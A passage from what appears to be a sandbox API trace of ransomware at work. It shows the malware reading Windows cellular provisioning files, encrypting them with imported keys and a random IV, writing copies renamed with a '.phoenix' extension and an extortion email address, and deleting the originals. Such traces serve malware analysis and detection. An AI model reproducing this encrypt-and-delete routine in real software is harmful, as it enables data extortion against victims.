	[0254.067] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0254.068] CryptDestroyKey (hKey=0x151080) returned 1
	[0254.068] CloseHandle (hObject=0x2d4) returned 1
	[0254.068] CloseHandle (hObject=0x2f4) returned 1
	[0254.068] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\536__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.069] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.069] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\537__connections_cellular_orange (botswana)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.069] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=726) returned 1
	[0254.069] CloseHandle (hObject=0x2f4) returned 1
	[0254.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\537__connections_cellular_orange (botswana)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\537__connections_cellular_orange (botswana)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.070] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\537__connections_cellular_orange (botswana)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.070] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.070] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.070] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\537__connections_cellular_orange (botswana)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0254.070] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0254.070] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.070] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d6, lpOverlapped=0x0) returned 1
	[0254.081] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0254.081] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0254.082] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0254.082] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.082] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0254.082] CryptDestroyKey (hKey=0x151640) returned 1
	[0254.082] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0254.082] CryptDestroyKey (hKey=0x151280) returned 1
	[0254.082] CloseHandle (hObject=0x2f4) returned 1
	[0254.082] CloseHandle (hObject=0x2d4) returned 1
	[0254.082] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\537__connections_cellular_orange (botswana)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.083] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.083] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\538__connections_cellular_orange (cameroon)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0254.084] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=847) returned 1
	[0254.084] CloseHandle (hObject=0x2d4) returned 1
	[0254.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\538__connections_cellular_orange (cameroon)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\538__connections_cellular_orange (cameroon)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.084] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\538__connections_cellular_orange (cameroon)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0254.084] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.084] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.084] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\538__connections_cellular_orange (cameroon)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.085] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151080) returned 1
	[0254.085] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.085] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x34f, lpOverlapped=0x0) returned 1
	[0254.089] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0254.089] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0254.090] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151400) returned 1
	[0254.090] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.090] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0254.090] CryptDestroyKey (hKey=0x151400) returned 1
	[0254.090] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0254.090] CryptDestroyKey (hKey=0x151080) returned 1
	[0254.090] CloseHandle (hObject=0x2d4) returned 1
	[0254.090] CloseHandle (hObject=0x2f4) returned 1
	[0254.090] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\538__connections_cellular_orange (cameroon)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.091] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.091] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\539__connections_cellular_orange (central african republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.092] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=727) returned 1
	[0254.092] CloseHandle (hObject=0x2f4) returned 1
	[0254.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\539__connections_cellular_orange (central african republic)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\539__connections_cellular_orange (central african republic)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.092] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\539__connections_cellular_orange (central african republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.092] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.092] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.092] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\539__connections_cellular_orange (central african republic)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0254.093] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1512c0) returned 1
	[0254.093] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.093] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d7, lpOverlapped=0x0) returned 1
	[0254.172] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0254.172] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0254.189] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151040) returned 1
	[0254.189] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.189] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0254.189] CryptDestroyKey (hKey=0x151040) returned 1
	[0254.190] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0254.190] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0254.190] CloseHandle (hObject=0x2f4) returned 1
	[0254.190] CloseHandle (hObject=0x2d4) returned 1
	[0254.190] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\539__connections_cellular_orange (central african republic)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.192] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.192] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\545__connections_cellular_orange (côte d’ivoire)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0254.193] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=851) returned 1
	[0254.193] CloseHandle (hObject=0x2d4) returned 1
	[0254.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\545__connections_cellular_orange (côte d’ivoire)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\545__connections_cellular_orange (côte d’ivoire)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.194] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\545__connections_cellular_orange (côte d’ivoire)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0254.194] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.194] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.194] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\545__connections_cellular_orange (côte d’ivoire)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.195] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151080) returned 1
	[0254.195] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.195] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x353, lpOverlapped=0x0) returned 1
	[0254.197] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0254.197] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0254.198] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0254.198] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.198] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0254.198] CryptDestroyKey (hKey=0x151380) returned 1
	[0254.198] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0254.198] CryptDestroyKey (hKey=0x151080) returned 1
	[0254.198] CloseHandle (hObject=0x2d4) returned 1
	[0254.198] CloseHandle (hObject=0x2f4) returned 1
	[0254.198] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\545__connections_cellular_orange (côte d’ivoire)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.200] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.200] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\546__connections_cellular_orange (côte d’ivoire)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.200] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=848) returned 1
	[0254.200] CloseHandle (hObject=0x2f4) returned 1
	[0254.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\546__connections_cellular_orange (côte d’ivoire)_i1$(__mvid)@wap.provxml")) returned 0x20
